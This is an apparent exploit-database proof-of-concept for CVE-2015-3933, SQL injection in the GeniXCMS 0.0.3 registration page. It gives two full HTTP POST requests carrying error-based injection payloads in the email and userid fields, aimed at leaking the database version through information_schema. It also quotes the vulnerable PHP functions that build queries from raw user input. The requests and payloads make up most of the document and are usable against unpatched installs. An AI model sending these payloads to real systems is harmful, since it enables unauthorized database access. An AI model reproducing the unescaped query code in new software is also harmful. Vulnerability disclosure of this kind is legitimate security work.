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3.1 KiB
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100 lines
No EOL
3.1 KiB
Text
# Exploit Title: Genixcms register.php multiple SQL vuln
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# Date: 2015-06-23
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# Exploit Author: cfreer (poc-lab)
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# Vendor Homepage: http://www.genixcms.org
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# Software Link: https://codeload.github.com/semplon/GeniXCMS/zip/master/GeniXCMS-master.zip
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# Version: 0.0.3
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# Tested on: Apache/2.4.7 (Win32)
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# CVE : CVE-2015-3933
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=====================
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SOFTWARE DESCRIPTION
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=====================
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Free and Opensource Content Management System, a new approach of simple and lightweight CMS. Get a new experience of a fast and easy to modify CMS.
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=============================
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VULNERABILITY: SQL Injection
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=============================
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Poc：
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1、Genixcms register.php email SQL vuln
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HTTP Data Stream
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POST /genixcms/register.php HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
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Accept-Encoding: gzip, deflate
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Cookie: ECS[visit_times]=4; iAv6_2132_saltkey=JLrHe7OQ; PHPSESSID=r7o8e5rghc0n0j09i6drb4m9v6; GeniXCMS=8fq1peiv9lahvq3d1qlfab7g47
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Connection: keep-alive
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 199
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email='and(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)and'&pass1=cfreer&pass2=cfreer®ister=1&token=&userid=poc-lab
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\inc\lib\User.class.php
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public static function is_email($vars){
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if(isset($_GET['act']) && $_GET['act'] == 'edit'){
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$where = "AND `id` != '{$_GET['id']}' ";
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}else{
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$where = '';
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}
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$e = Db::result("SELECT * FROM `user` WHERE `email` = '{$vars}' {$where}");
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if(Db::$num_rows > 0){
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return false;
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}else{
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return true;
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}
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}
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==============================================================================================================================================
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2、Genixcms register.php userid SQL vuln
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HTTP Data Stream
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POST /genixcms/register.php HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
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Accept-Encoding: gzip, deflate
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Cookie: ECS[visit_times]=4; iAv6_2132_saltkey=JLrHe7OQ; PHPSESSID=r7o8e5rghc0n0j09i6drb4m9v6; GeniXCMS=8fq1peiv9lahvq3d1qlfab7g47
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Connection: keep-alive
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 224
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email=websec@poc-lab.org&pass1=poc-lab.org&pass2=poc-lab.org®ister=1&token=&userid='and(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)and'
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\inc\lib\User.class.php
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public static function is_exist($user) {
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if(isset($_GET['act']) && $_GET['act'] == 'edit'){
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$where = "AND `id` != '{$_GET['id']}' ";
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}else{
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$where = '';
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}
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$usr = Db::result("SELECT `userid` FROM `user` WHERE `userid` = '{$user}' {$where} ");
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$n = Db::$num_rows;
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if($n > 0 ){
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return false;
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}else{
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return true;
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}
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} |